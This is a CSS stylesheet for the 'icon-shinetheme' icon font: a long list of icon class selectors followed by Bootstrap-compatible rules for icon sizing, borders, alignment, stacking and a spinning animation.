.icon-hammer, .icon-wand, .icon-aid, .icon-bug, .icon-pie, .icon-stats, .icon-bars, .icon-bars-2, .icon-gift, .icon-trophy, .icon-glass, .icon-mug, .icon-food, .icon-leaf, .icon-rocket, .icon-meter, .icon-meter2, .icon-dashboard, .icon-hammer-2, .icon-fire, .icon-lab, .icon-magnet, .icon-remove, .icon-remove-2, .icon-briefcase, .icon-airplane, .icon-truck, .icon-road, .icon-accessibility, .icon-target, .icon-shield, .icon-lightning, .icon-switch, .icon-power-cord, .icon-signup, .icon-list, .icon-list-2, .icon-numbered-list, .icon-menu, .icon-menu-2, .icon-tree, .icon-cloud, .icon-cloud-download, .icon-cloud-upload, .icon-download-2, .icon-upload-2, .icon-download-3, .icon-upload-3, .icon-globe, .icon-earth, .icon-link, .icon-flag, .icon-attachment, .icon-eye, .icon-eye-blocked, .icon-eye-2, .icon-bookmark, .icon-bookmarks, .icon-brightness-medium, .icon-brightness-contrast, .icon-contrast, .icon-star, .icon-star-2, .icon-star-3, .icon-heart, .icon-heart-2, .icon-heart-broken, .icon-thumbs-up, .icon-thumbs-up-2, .icon-happy, .icon-happy-2, .icon-smiley, .icon-smiley-2, .icon-tongue, .icon-tongue-2, .icon-sad, .icon-sad-2, .icon-wink, .icon-wink-2, .icon-grin, .icon-grin-2, .icon-cool, .icon-cool-2, .icon-angry, .icon-angry-2, .icon-evil, .icon-evil-2, .icon-shocked, .icon-shocked-2, .icon-confused, .icon-confused-2, .icon-neutral, .icon-neutral-2, .icon-wondering, .icon-wondering-2, .icon-point-up, .icon-point-right, .icon-point-down, .icon-point-left, .icon-warning, .icon-notification, .icon-question, .icon-info, .icon-info-2, .icon-blocked, .icon-cancel-circle, .icon-checkmark-circle, .icon-spam, .icon-close, .icon-checkmark, .icon-checkmark-2, .icon-spell-check, .icon-minus, .icon-plus, .icon-enter, .icon-exit, .icon-play-2, .icon-pause, .icon-stop, .icon-backward, .icon-forward-2, .icon-play-3, .icon-pause-2, .icon-stop-2, .icon-backward-2, .icon-forward-3, .icon-first, .icon-last, .icon-previous, .icon-next, .icon-eject, .icon-volume-high, .icon-volume-medium, .icon-volume-low, .icon-volume-mute, .icon-volume-mute-2, .icon-volume-increase, .icon-volume-decrease, .icon-loop, .icon-loop-2, .icon-loop-3, .icon-shuffle, .icon-arrow-up-left, .icon-arrow-up, .icon-arrow-up-right, .icon-arrow-right, .icon-arrow-down-right, .icon-arrow-down, .icon-arrow-down-left, .icon-arrow-left, .icon-arrow-up-left-2, .icon-arrow-up-2, .icon-arrow-up-right-2, .icon-arrow-right-2, .icon-arrow-down-right-2, .icon-arrow-down-2, .icon-arrow-down-left-2, .icon-arrow-left-2, .icon-arrow-up-left-3, .icon-arrow-up-3, .icon-arrow-up-right-3, .icon-arrow-right-3, .icon-arrow-down-right-3, .icon-arrow-down-3, .icon-arrow-down-left-3, .icon-arrow-left-3, .icon-tab, .icon-checkbox-checked, .icon-checkbox-unchecked, .icon-checkbox-partial, .icon-radio-checked, .icon-radio-unchecked, .icon-crop, .icon-scissors, .icon-filter, .icon-filter-2, .icon-font, .icon-text-height, .icon-text-width, .icon-bold, .icon-underline, .icon-italic, .icon-strikethrough, .icon-omega, .icon-sigma, .icon-table, .icon-table-2, .icon-insert-template, .icon-pilcrow, .icon-left-to-right, .icon-right-to-left, .icon-paragraph-left, .icon-paragraph-center, .icon-paragraph-right, .icon-paragraph-justify, .icon-paragraph-left-2, .icon-paragraph-center-2, .icon-paragraph-right-2, .icon-paragraph-justify-2, .icon-indent-increase, .icon-indent-decrease, .icon-new-tab, .icon-embed, .icon-code, .icon-console, .icon-share, .icon-mail, .icon-mail-2, .icon-mail-3, .icon-mail-4, .icon-google, .icon-google-plus, .icon-google-plus-2, .icon-google-plus-3, .icon-google-plus-4, .icon-google-drive, .icon-facebook, .icon-facebook-2, .icon-facebook-3, .icon-instagram, .icon-twitter, .icon-twitter-2, .icon-twitter-3, .icon-feed-2, .icon-feed-3, .icon-feed-4, .icon-youtube, .icon-youtube-2, .icon-vimeo, .icon-vimeo2, .icon-vimeo-2, .icon-lanyrd, .icon-flickr, .icon-flickr-2, .icon-flickr-3, .icon-flickr-4, .icon-picassa, .icon-picassa-2, .icon-dribbble, .icon-dribbble-2, .icon-dribbble-3, .icon-forrst, .icon-forrst-2, .icon-deviantart, .icon-deviantart-2, .icon-steam, .icon-steam-2, .icon-github, .icon-github-2, .icon-github-3, .icon-github-4, .icon-github-5, .icon-wordpress, .icon-wordpress-2, .icon-joomla, .icon-blogger, .icon-blogger-2, .icon-tumblr, .icon-tumblr-2, .icon-yahoo, .icon-tux, .icon-apple, .icon-finder, .icon-android, .icon-windows, .icon-windows8, .icon-soundcloud, .icon-soundcloud-2, .icon-skype, .icon-reddit, .icon-linkedin, .icon-lastfm, .icon-lastfm-2, .icon-delicious, .icon-stumbleupon, .icon-stumbleupon-2, .icon-stackoverflow, .icon-pinterest, .icon-pinterest-2, .icon-xing, .icon-xing-2, .icon-flattr, .icon-foursquare, .icon-foursquare-2, .icon-paypal, .icon-paypal-2, .icon-paypal-3, .icon-yelp, .icon-libreoffice, .icon-file-pdf, .icon-file-openoffice, .icon-file-word, .icon-file-excel, .icon-file-zip, .icon-file-powerpoint, .icon-file-xml, .icon-file-css, .icon-html5, .icon-html5-2, .icon-css3, .icon-chrome, .icon-firefox, .icon-IE, .icon-opera, .icon-safari, .icon-IcoMoon, .icon-chat, .icon-chat-alt-stroke, .icon-chat-alt-fill, .icon-comment-alt1-stroke, .icon-comment-alt1-fill, .icon-comment-stroke, .icon-comment-fill, .icon-comment-alt2-stroke, .icon-comment-alt2-fill, .icon-checkmark-3, .icon-check-alt, .icon-x, .icon-x-altx-alt, .icon-denied, .icon-cursor, .icon-rss, .icon-rss-alt, .icon-wrench-2, .icon-dial, .icon-cog-3, .icon-calendar-3, .icon-calendar-alt-stroke, .icon-calendar-alt-fill, .icon-share-2, .icon-mail-5, .icon-heart-stroke, .icon-heart-fill, .icon-movie, .icon-document-alt-stroke, .icon-document-alt-fill, .icon-document-stroke, .icon-document-fill, .icon-plus-2, .icon-plus-alt, .icon-minus-2, .icon-minus-alt, .icon-pin, .icon-link-2, .icon-bolt, .icon-move, .icon-move-alt1, .icon-move-alt2, .icon-equalizer-2, .icon-award-fill, .icon-award-stroke, .icon-magnifying-glass, .icon-trash-stroke, .icon-trash-fill, .icon-beaker-alt, .icon-beaker, .icon-key-stroke, .icon-key-fill, .icon-new-window, .icon-lightbulb, .icon-spin-alt, .icon-spin, .icon-curved-arrow, .icon-undo-3, .icon-reload, .icon-reload-alt, .icon-loop-4, .icon-loop-alt1, .icon-loop-alt2, .icon-loop-alt3, .icon-loop-alt4, .icon-transfer, .icon-move-vertical, .icon-move-vertical-alt1, .icon-move-vertical-alt2, .icon-move-horizontal, .icon-move-horizontal-alt1, .icon-move-horizontal-alt2, .icon-arrow-left-4, .icon-arrow-left-alt1, .icon-arrow-left-alt2, .icon-arrow-right-4, .icon-arrow-right-alt1, .icon-arrow-right-alt2, .icon-arrow-up-4, .icon-arrow-up-alt1, .icon-arrow-up-alt2, .icon-arrow-down-4, .icon-arrow-down-alt1, .icon-arrow-down-alt2, .icon-cd, .icon-steering-wheel, .icon-microphone, .icon-headphones-2, .icon-volume, .icon-volume-mute-3, .icon-play-4, .icon-pause-3, .icon-stop-3, .icon-eject-2, .icon-first-2, .icon-last-2, .icon-play-alt, .icon-fullscreen-exit, .icon-fullscreen-exit-alt, .icon-fullscreen, .icon-fullscreen-alt, .icon-iphone, .icon-battery-empty, .icon-battery-half, .icon-battery-full, .icon-battery-charging, .icon-compass-2, .icon-box, .icon-folder-stroke, .icon-folder-fill, .icon-at, .icon-ampersand, .icon-info-3, .icon-question-mark, .icon-pilcrow-2, .icon-hash, .icon-left-quote, .icon-right-quote, .icon-left-quote-alt, .icon-right-quote-alt, .icon-article, .icon-read-more, .icon-list-3, .icon-list-nested, .icon-book-2, .icon-book-alt, .icon-book-alt2, .icon-pen-2, .icon-pen-alt-stroke, .icon-pen-alt-fill, .icon-pen-alt2, .icon-brush, .icon-brush-alt, .icon-eyedropper, .icon-layers-alt, .icon-layers, .icon-image-3, .icon-camera-3, .icon-aperture, .icon-aperture-alt, .icon-chart, .icon-chart-alt, .icon-bars-3, .icon-bars-alt, .icon-eye-3, .icon-user-5, .icon-home-4, .icon-clock-3, .icon-lock-stroke, .icon-lock-fill, .icon-unlock-stroke, .icon-unlock-fill, .icon-tag-stroke, .icon-tag-fill, .icon-sun-stroke, .icon-sun-fill, .icon-moon-stroke, .icon-moon-fill, .icon-cloud-2, .icon-rain, .icon-umbrella, .icon-star-4, .icon-map-pin-stroke, .icon-map-pin-fill, .icon-map-pin-alt, .icon-target-2, .icon-download-4, .icon-upload-4, .icon-cloud-download-2, .icon-cloud-upload-2, .icon-fork, .icon-paperclip, .icon-sunrise, .icon-sun, .icon-moon, .icon-sun-2, .icon-windy, .icon-wind, .icon-snowflake, .icon-cloudy, .icon-cloud-3, .icon-weather, .icon-weather-2, .icon-weather-3, .icon-lines, .icon-cloud-4, .icon-lightning-2, .icon-lightning-3, .icon-rainy, .icon-rainy-2, .icon-windy-2, .icon-windy-3, .icon-snowy, .icon-snowy-2, .icon-snowy-3, .icon-weather-4, .icon-cloudy-2, .icon-cloud-5, .icon-lightning-4, .icon-sun-3, .icon-moon-2, .icon-cloudy-3, .icon-cloud-6, .icon-cloud-7, .icon-lightning-5, .icon-rainy-3, .icon-rainy-4, .icon-windy-4, .icon-windy-5, .icon-snowy-4, .icon-snowy-5, .icon-weather-5, .icon-cloudy-4, .icon-lightning-6, .icon-thermometer, .icon-compass-3, .icon-none, .icon-Celsius, .icon-Fahrenheit, .icon-warning-2, .icon-cloud-8, .icon-locked, .icon-inbox, .icon-comment, .icon-mic, .icon-envelope, .icon-briefcase-2, .icon-cart-4, .icon-contrast-2, .icon-clock-4, .icon-user-6, .icon-cog-4, .icon-music-2, .icon-twitter-4, .icon-pencil-3, .icon-frame, .icon-switch-2, .icon-star-5, .icon-key-3, .icon-chart-2, .icon-apple-2, .icon-file-5, .icon-plus-3, .icon-minus-3, .icon-picture, .icon-folder-2, .icon-camera-4, .icon-search-2, .icon-dribbble-4, .icon-forrst-3, .icon-feed-5, .icon-blocked-2, .icon-target-3, .icon-play-5, .icon-pause-4, .icon-bug-2, .icon-console-2, .icon-film-2, .icon-type, .icon-home-5, .icon-earth-2, .icon-location-3, .icon-info-4, .icon-eye-4, .icon-heart-3, .icon-bookmark-2, .icon-wrench-3, .icon-calendar-4, .icon-window, .icon-monitor, .icon-mobile-3, .icon-droplet-2, .icon-mouse, .icon-refresh, .icon-location-4, .icon-tag-2, .icon-phone-2, .icon-star-6, .icon-pointer, .icon-thumbs-up-3, .icon-thumbs-down, .icon-headphones-3, .icon-move-2, .icon-checkmark-4, .icon-cancel, .icon-skype-2, .icon-gift-2, .icon-cone, .icon-alarm-3, .icon-coffee, .icon-basket, .icon-flag-2, .icon-ipod, .icon-trashcan, .icon-bolt-2, .icon-ampersand-2, .icon-compass-4, .icon-list-4, .icon-grid, .icon-volume-2, .icon-volume-3, .icon-stats-2, .icon-target-4, .icon-forward-4, .icon-paperclip-2, .icon-keyboard-2, .icon-crop-2, .icon-floppy, .icon-filter-3, .icon-trophy-2, .icon-diary, .icon-address-book-2, .icon-stop-4, .icon-smiley-3, .icon-shit, .icon-bookmark-3, .icon-camera-5, .icon-lamp, .icon-disk-2, .icon-button, .icon-database, .icon-credit-card, .icon-atom, .icon-winsows, .icon-target-5, .icon-battery, .icon-code-2, .icon-renren, .icon-weibo, .icon-vk, .icon-bug-3, .icon-archive, .icon-moon-3, .icon-sun-4, .icon-gittip, .icon-male, .icon-female, .icon-trello, .icon-foursquare-3, .icon-skype-3, .icon-dribbble-5, .icon-linux, .icon-android-2, .icon-windows-2, .icon-apple-3, .icon-long-arrow-right, .icon-long-arrow-left, .icon-long-arrow-up, .icon-long-arrow-down, .icon-tumblr-sign, .icon-tumblr-3, .icon-bitbucket-sign, .icon-bitbucket, .icon-adn, .icon-flickr-5, .icon-instagram-2, .icon-stackexchange, .icon-dropbox, .icon-youtube-play, .icon-xing-sign, .icon-xing-3, .icon-youtube-3, .icon-youtube-sign, .icon-thumbs-down-2, .icon-thumbs-up-4, .icon-sort-by-order-alt, .icon-sort-by-order, .icon-sort-by-attributes-alt, .icon-sort-by-attributes, .icon-sort-by-alphabet-alt, .icon-sort-by-alphabet, .icon-file-text, .icon-file-6, .icon-bitcoin, .icon-won, .icon-renminbi, .icon-yen, .icon-rupee, .icon-dollar, .icon-gbp, .icon-euro, .icon-expand-3, .icon-collapse-top, .icon-collapse, .icon-compass-5, .icon-share-sign, .icon-external-link-sign, .icon-edit-sign, .icon-check-sign, .icon-level-down, .icon-level-up, .icon-check-minus, .icon-minus-sign-alt, .icon-ticket-2, .icon-play-sign, .icon-rss-sign, .icon-ellipsis-vertical, .icon-ellipsis-horizontal, .icon-bullseye, .icon-unlock-alt, .icon-anchor, .icon-css3-2, .icon-html5-3, .icon-chevron-sign-down, .icon-chevron-sign-up, .icon-chevron-sign-right, .icon-chevron-sign-left, .icon-maxcdn, .icon-rocket-2, .icon-fire-extinguisher, .icon-calendar-empty, .icon-shield-2, .icon-microphone-off, .icon-microphone-2, .icon-puzzle, .icon-eraser, .icon-subscript, .icon-superscript, .icon-exclamation, .icon-info-5, .icon-question-2, .icon-unlink, .icon-code-fork, .icon-crop-3, .icon-location-arrow, .icon-star-half-full, .icon-reply-all, .icon-code-3, .icon-terminal, .icon-flag-checkered, .icon-flag-alt, .icon-keyboard-3, .icon-gamepad, .icon-meh, .icon-frown, .icon-smile, .icon-collapse-alt, .icon-expand-alt, .icon-folder-open-alt, .icon-folder-close-alt, .icon-github-alt, .icon-reply-2, .icon-circle, .icon-spinner-7, .icon-quote-right, .icon-quote-left, .icon-circle-blank, .icon-mobile-4, .icon-tablet-2, .icon-laptop-2, .icon-desktop, .icon-angle-down, .icon-angle-up, .icon-angle-right, .icon-angle-left, .icon-double-angle-down, .icon-double-angle-up, .icon-double-angle-right, .icon-double-angle-left, .icon-plus-sign, .icon-h-sign, .icon-beer, .icon-fighter-jet, .icon-medkit, .icon-ambulance, .icon-hospital, .icon-building, .icon-file-alt, .icon-food-2, .icon-coffee-2, .icon-bell-alt, .icon-suitcase, .icon-stethoscope, .icon-user-md, .icon-cloud-upload-3, .icon-cloud-download-3, .icon-exchange, .icon-lightbulb-2, .icon-paste-4, .icon-umbrella-2, .icon-sitemap, .icon-bolt-3, .icon-comments-alt, .icon-comment-alt, .icon-dashboard-2, .icon-legal, .icon-undo-4, .icon-linkedin-2, .icon-envelope-alt, .icon-sort-up, .icon-sort-down, .icon-sort, .icon-columns, .icon-caret-right, .icon-caret-left, .icon-caret-up, .icon-caret-down, .icon-money, .icon-google-plus-5, .icon-google-plus-sign, .icon-pinterest-sign, .icon-pinterest-3, .icon-truck-2, .icon-magic, .icon-table-3, .icon-underline-2, .icon-strikethrough-2, .icon-list-ol, .icon-list-ul, .icon-reorder, .icon-sign-blank, .icon-save, .icon-paper-clip, .icon-copy-4, .icon-cut, .icon-beaker-2, .icon-cloud-9, .icon-link-3, .icon-group, .icon-fullscreen-2, .icon-briefcase-3, .icon-filter-4, .icon-tasks, .icon-wrench-4, .icon-globe-2, .icon-circle-arrow-down, .icon-circle-arrow-up, .icon-circle-arrow-right, .icon-circle-arrow-left, .icon-hand-down, .icon-hand-up, .icon-hand-left, .icon-hand-right, .icon-certificate, .icon-bell-2, .icon-bullhorn-2, .icon-hdd, .icon-rss-2, .icon-credit-2, .icon-unlock, .icon-github-6, .icon-facebook-4, .icon-twitter-5, .icon-phone-sign, .icon-bookmark-empty, .icon-check-empty, .icon-phone-3, .icon-lemon, .icon-upload-alt, .icon-github-sign, .icon-trophy-3, .icon-signin, .icon-external-link, .icon-pushpin-2, .icon-linkedin-sign, .icon-signout, .icon-heart-empty, .icon-star-half, .icon-thumbs-down-3, .icon-thumbs-up-5, .icon-comments, .icon-cogs-2, .icon-key-4, .icon-camera-retro, .icon-facebook-sign, .icon-twitter-sign, .icon-bar-chart, .icon-resize-horizontal, .icon-resize-vertical, .icon-folder-open-2, .icon-folder-close, .icon-shopping-cart, .icon-retweet, .icon-chevron-down, .icon-chevron-up, .icon-magnet-2, .icon-comment-2, .icon-random, .icon-calendar-5, .icon-plane, .icon-warning-sign, .icon-eye-close, .icon-eye-open, .icon-fire-2, .icon-leaf-2, .icon-gift-3, .icon-exclamation-sign, .icon-asterisk, .icon-minus-4, .icon-plus-4, .icon-resize-small, .icon-resize-full, .icon-share-alt, .icon-arrow-down-5, .icon-arrow-up-5, .icon-arrow-right-5, .icon-arrow-left-5, .icon-ban-circle, .icon-ok-circle, .icon-remove-circle, .icon-screenshot, .icon-info-sign, .icon-question-sign, .icon-ok-sign, .icon-remove-sign, .icon-minus-sign, .icon-plus-sign-2, .icon-chevron-right, .icon-chevron-left, .icon-eject-3, .icon-step-forward, .icon-fast-forward, .icon-forward-5, .icon-stop-5, .icon-pause-5, .icon-play-6, .icon-backward-3, .icon-fast-backward, .icon-step-backward, .icon-move-3, .icon-check, .icon-share-3, .icon-edit, .icon-tint, .icon-adjust, .icon-map-marker, .icon-pencil-4, .icon-picture-2, .icon-facetime-video, .icon-indent-right, .icon-indent-left, .icon-list-5, .icon-align-justify, .icon-align-right, .icon-align-center, .icon-align-left, .icon-text-width-2, .icon-text-height-2, .icon-italic-2, .icon-bold-2, .icon-font-2, .icon-camera-6, .icon-print-2, .icon-bookmark-4, .icon-book-3, .icon-tags-2, .icon-tag-3, .icon-barcode-2, .icon-qrcode-2, .icon-volume-up, .icon-volume-down, .icon-volume-off, .icon-headphones-4, .icon-flag-3, .icon-lock-3, .icon-list-alt, .icon-refresh-2, .icon-repeat, .icon-play-circle, .icon-inbox-2, .icon-upload-5, .icon-download-5, .icon-download-alt, .icon-road-2, .icon-time, .icon-file-7, .icon-home-6, .icon-trash, .icon-cog-5, .icon-signal, .icon-off, .icon-zoom-out-2, .icon-zoom-in-2, .icon-remove-3, .icon-ok, .icon-th-list, .icon-th, .icon-th-large, .icon-film-3, .icon-user-7, .icon-star-empty, .icon-star-7, .icon-heart-4, .icon-envelope-2, .icon-search-3, .icon-music-3, .icon-glass-2, .icon-smashing, .icon-vk-2, .icon-circles, .icon-behance, .icon-mixi, .icon-soundcloud-3, .icon-picasa, .icon-paypal-4, .icon-sina-weibo, .icon-renren-2, .icon-skype-4, .icon-skype-5, .icon-flattr-2, .icon-evernote, .icon-dropbox-2, .icon-instagram-3, .icon-qq, .icon-spotify, .icon-spotify-2, .icon-rdio, .icon-rdio-2, .icon-lastfm-3, .icon-lastfm-4, .icon-stumbleupon-3, .icon-stumbleupon-4, .icon-dribbble-6, .icon-dribbble-7, .icon-linkedin-3, .icon-linkedin-4, .icon-tumblr-4, .icon-tumblr-5, .icon-pinterest-4, .icon-pinterest-5, .icon-googleplus, .icon-googleplus-2, .icon-facebook-5, .icon-facebook-6, .icon-facebook-7, .icon-twitter-6, .icon-twitter-7, .icon-vimeo-3, .icon-vimeo-4, .icon-flickr-6, .icon-flickr-7, .icon-github-7, .icon-github-8, .icon-daniel-bruce, .icon-daniel-bruce-2, .icon-cc-share, .icon-cc-share-2, .icon-cc-zero, .icon-cc-pd, .icon-cc-nd, .icon-cc-sa, .icon-cc-nc-jp, .icon-cc-nc-eu, .icon-cc-nc, .icon-cc-by, .icon-cc, .icon-dot, .icon-dots, .icon-ellipsis, .icon-menu-3, .icon-arrow-right-6, .icon-arrow-up-6, .icon-arrow-down-6, .icon-arrow-left-6, .icon-untitled, .icon-arrow-up-7, .icon-arrow-down-7, .icon-arrow-left-7, .icon-arrow-right-7, .icon-arrow-up-8, .icon-arrow-down-8, .icon-arrow-left-8, .icon-arrow-right-8, .icon-arrow-up-9, .icon-arrow-down-9, .icon-arrow-left-9, .icon-arrow-right-9, .icon-arrow-up-10, .icon-arrow-down-10, .icon-arrow-left-10, .icon-arrow-right-10, .icon-arrow-up-11, .icon-arrow-down-11, .icon-arrow-left-11, .icon-arrow-right-11, .icon-arrow-up-12, .icon-arrow-down-12, .icon-arrow-left-12, .icon-arrow-right-12, .icon-arrow-up--upload, .icon-arrow-down-13, .icon-arrow-left-13, .icon-flow-parallel, .icon-flow-line, .icon-flow-tree, .icon-flow-branch, .icon-flow-cascade, .icon-mute, .icon-sound, .icon-volume-4, .icon-resize-shrink, .icon-resize-enlarge, .icon-last-3, .icon-first-3, .icon-previous-2, .icon-next-2, .icon-stop-6, .icon-record, .icon-pause-6, .icon-play-7, .icon-book-4, .icon-bookmarks-2, .icon-bookmark-5, .icon-upload-6, .icon-cloud-10, .icon-install, .icon-disk-3, .icon-download-6, .icon-upload-7, .icon-trash-2, .icon-archive-2, .icon-folder-3, .icon-music-4, .icon-video, .icon-pictures, .icon-landscape, .icon-docs, .icon-document, .icon-text, .icon-text-2, .icon-list-6, .icon-layout, .icon-add-to-list, .icon-list-7, .icon-switch-3, .icon-back, .icon-history-2, .icon-loop-5, .icon-retweet-2, .icon-arrow, .icon-arrow-2, .icon-shuffle-2, .icon-ccw, .icon-cw, .icon-cycle, .icon-warning-3, .icon-help, .icon-question-3, .icon-info-6, .icon-info-7, .icon-blocked-3, .icon-erase, .icon-plus-5, .icon-minus-5, .icon-cross, .icon-plus-6, .icon-minus-6, .icon-cross-2, .icon-plus-7, .icon-minus-7, .icon-cross-3, .icon-checkmark-5, .icon-login, .icon-logout, .icon-lock-open, .icon-lock-4, .icon-graph, .icon-bars-4, .icon-pie-2, .icon-statistics, .icon-untitled-2, .icon-droplets, .icon-thermometer-2, .icon-signal-2, .icon-rss-3, .icon-ticket-3, .icon-box-2, .icon-cart-5, .icon-clipboard, .icon-voicemail, .icon-database-2, .icon-credit-card-2, .icon-light-bulb, .icon-infinity, .icon-screen-2, .icon-code-4, .icon-adjust-2, .icon-sun-5, .icon-sun-6, .icon-progress-0, .icon-brogress-1, .icon-progress-2, .icon-progress-3, .icon-publish, .icon-browser, .icon-keyboard-4, .icon-earth-3, .icon-cone-2, .icon-suitcase-2, .icon-brush-2, .icon-rocket-3, .icon-cup, .icon-drive, .icon-magnet-3, .icon-bucket, .icon-battery-2, .icon-key-5, .icon-network, .icon-language, .icon-gauge, .icon-hourglass, .icon-air, .icon-briefcase-4, .icon-cd-2, .icon-droplet-3, .icon-thunder, .icon-bolt-4, .icon-calendar-6, .icon-microphone-3, .icon-clock-5, .icon-eye-5, .icon-lifebuoy, .icon-airplane-2, .icon-bag, .icon-newspaper-2, .icon-book-5, .icon-graduation, .icon-new, .icon-music-5, .icon-music-6, .icon-leaf-3, .icon-palette, .icon-moon-4, .icon-megaphone, .icon-camera-7, .icon-tag-4, .icon-trophy-4, .icon-tools, .icon-cog-6, .icon-flag-4, .icon-link-4, .icon-bell-3, .icon-printer, .icon-flashlight, .icon-search-4, .icon-popup, .icon-house, .icon-quote, .icon-comment-3, .icon-chat-2, .icon-thumbs-down-4, .icon-thumbs-up-6, .icon-star-8, .icon-star-9, .icon-heart-5, .icon-heart-6, .icon-sharable, .icon-share-4, .icon-target-6, .icon-location-5, .icon-compass-6, .icon-map-3, .icon-location-6, .icon-export, .icon-vcard, .icon-user-add, .icon-users-3, .icon-user-8, .icon-forward-6, .icon-reply-all-2, .icon-reply-3, .icon-drawer-4, .icon-paperclip-3, .icon-feather, .icon-pencil-5, .icon-paperplane, .icon-mail-6, .icon-directions, .icon-mouse-2, .icon-mobile-5, .icon-phone-4 {
	font-family: 'icon-shinetheme'!important;
	speak: none;
	font-style: normal;
	font-weight: normal;
	font-variant: normal;
	text-transform: none;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
}

[class^="icon-"]:before,
[class*=" icon-"]:before {
  text-decoration: inherit;
  display: inline-block;
  speak: none;
}
/* makes the font 33% larger relative to the icon container */
.icon-large:before {
  vertical-align: -10%;
  font-size: 1.3333333333333333em;
}
/* makes sure icons active on rollover in links */
a [class^="icon-"],
a [class*=" icon-"] {
  display: inline;
}
/* increased font size for icon-large */
[class^="icon-"].icon-fixed-width,
[class*=" icon-"].icon-fixed-width {
  display: inline-block;
  width: 1.1428571428571428em;
  text-align: right;
  padding-right: 0.2857142857142857em;
}
[class^="icon-"].icon-fixed-width.icon-large,
[class*=" icon-"].icon-fixed-width.icon-large {
  width: 1.4285714285714286em;
}
.icons-ul {
  margin-left: 2.142857142857143em;
  list-style-type: none;
}
.icons-ul > li {
  position: relative;
}
.icons-ul .icon-li {
  position: absolute;
  left: -2.142857142857143em;
  width: 2.142857142857143em;
  text-align: center;
  line-height: inherit;
}
[class^="icon-"].hide,
[class*=" icon-"].hide {
  display: none;
}
.icon-muted {
  color: #eeeeee;
}
.icon-light {
  color: #ffffff;
}
.icon-dark {
  color: #333333;
}
.icon-border {
  border: solid 1px #eeeeee;
  padding: .2em .25em .15em;
  -webkit-border-radius: 3px;
  -moz-border-radius: 3px;
  border-radius: 3px;
}
.icon-2x {
  font-size: 2em;
}
.icon-2x.icon-border {
  border-width: 2px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px;
  border-radius: 4px;
}
.icon-3x {
  font-size: 3em;
}
.icon-3x.icon-border {
  border-width: 3px;
  -webkit-border-radius: 5px;
  -moz-border-radius: 5px;
  border-radius: 5px;
}
.icon-4x {
  font-size: 4em;
}
.icon-4x.icon-border {
  border-width: 4px;
  -webkit-border-radius: 6px;
  -moz-border-radius: 6px;
  border-radius: 6px;
}
.icon-5x {
  font-size: 5em;
}
.icon-5x.icon-border {
  border-width: 5px;
  -webkit-border-radius: 7px;
  -moz-border-radius: 7px;
  border-radius: 7px;
}
.pull-right {
  float: right;
}
.pull-left {
  float: left;
}
[class^="icon-"].pull-left,
[class*=" icon-"].pull-left {
  margin-right: .3em;
}
[class^="icon-"].pull-right,
[class*=" icon-"].pull-right {
  margin-left: .3em;
}
/* BOOTSTRAP SPECIFIC CLASSES
 * -------------------------- */
/* Bootstrap 2.0 sprites.less reset */
[class^="icon-"],
[class*=" icon-"] {
  display: inline;
  width: auto;
  height: auto;
  line-height: normal;
  vertical-align: baseline;
  background-image: none;
  background-position: 0% 0%;
  background-repeat: repeat;
  margin-top: 0;
}
/* more sprites.less reset */
.icon-white,
.nav-pills > .active > a > [class^="icon-"],
.nav-pills > .active > a > [class*=" icon-"],
.nav-list > .active > a > [class^="icon-"],
.nav-list > .active > a > [class*=" icon-"],
.navbar-inverse .nav > .active > a > [class^="icon-"],
.navbar-inverse .nav > .active > a > [class*=" icon-"],
.dropdown-menu > li > a:hover > [class^="icon-"],
.dropdown-menu > li > a:hover > [class*=" icon-"],
.dropdown-menu > .active > a > [class^="icon-"],
.dropdown-menu > .active > a > [class*=" icon-"],
.dropdown-submenu:hover > a > [class^="icon-"],
.dropdown-submenu:hover > a > [class*=" icon-"] {
  background-image: none;
}
/* keeps Bootstrap styles with and without icons the same */
.btn [class^="icon-"].icon-large,
.nav [class^="icon-"].icon-large,
.btn [class*=" icon-"].icon-large,
.nav [class*=" icon-"].icon-large {
  line-height: .9em;
}
.btn [class^="icon-"].icon-spin,
.nav [class^="icon-"].icon-spin,
.btn [class*=" icon-"].icon-spin,
.nav [class*=" icon-"].icon-spin {
  display: inline-block;
}
.nav-tabs [class^="icon-"],
.nav-pills [class^="icon-"],
.nav-tabs [class*=" icon-"],
.nav-pills [class*=" icon-"],
.nav-tabs [class^="icon-"].icon-large,
.nav-pills [class^="icon-"].icon-large,
.nav-tabs [class*=" icon-"].icon-large,
.nav-pills [class*=" icon-"].icon-large {
  line-height: .9em;
}
.btn [class^="icon-"].pull-left.icon-2x,
.btn [class*=" icon-"].pull-left.icon-2x,
.btn [class^="icon-"].pull-right.icon-2x,
.btn [class*=" icon-"].pull-right.icon-2x {
  margin-top: .18em;
}
.btn [class^="icon-"].icon-spin.icon-large,
.btn [class*=" icon-"].icon-spin.icon-large {
  line-height: .8em;
}
.btn.btn-small [class^="icon-"].pull-left.icon-2x,
.btn.btn-small [class*=" icon-"].pull-left.icon-2x,
.btn.btn-small [class^="icon-"].pull-right.icon-2x,
.btn.btn-small [class*=" icon-"].pull-right.icon-2x {
  margin-top: .25em;
}
.btn.btn-large [class^="icon-"],
.btn.btn-large [class*=" icon-"] {
  margin-top: 0;
}
.btn.btn-large [class^="icon-"].pull-left.icon-2x,
.btn.btn-large [class*=" icon-"].pull-left.icon-2x,
.btn.btn-large [class^="icon-"].pull-right.icon-2x,
.btn.btn-large [class*=" icon-"].pull-right.icon-2x {
  margin-top: .05em;
}
.btn.btn-large [class^="icon-"].pull-left.icon-2x,
.btn.btn-large [class*=" icon-"].pull-left.icon-2x {
  margin-right: .2em;
}
.btn.btn-large [class^="icon-"].pull-right.icon-2x,
.btn.btn-large [class*=" icon-"].pull-right.icon-2x {
  margin-left: .2em;
}
/* Fixes alignment in nav lists */
.nav-list [class^="icon-"],
.nav-list [class*=" icon-"] {
  line-height: inherit;
}
/* EXTRAS
 * -------------------------- */
/* Stacked and layered icon */
.icon-stacked {
  position: relative;
  display: inline-block;
  width: 2em;
  height: 2em;
  line-height: 2em;
  vertical-align: -35%;
}
.icon-stacked [class^="icon-"],
.icon-stacked [class*=" icon-"] {
  display: block;
  text-align: center;
  position: absolute;
  width: 100%;
  height: 100%;
  font-size: 1em;
  line-height: inherit;
  *line-height: 2em;
}
.icon-stacked .icon-stack-base {
  font-size: 2em;
  *line-height: 1em;
}
/* Animated rotating icon */
.icon-spinning {
  display: inline-block;
  -moz-animation: spin 2s infinite linear;
  -o-animation: spin 2s infinite linear;
  -webkit-animation: spin 2s infinite linear;
  animation: spin 2s infinite linear;
}
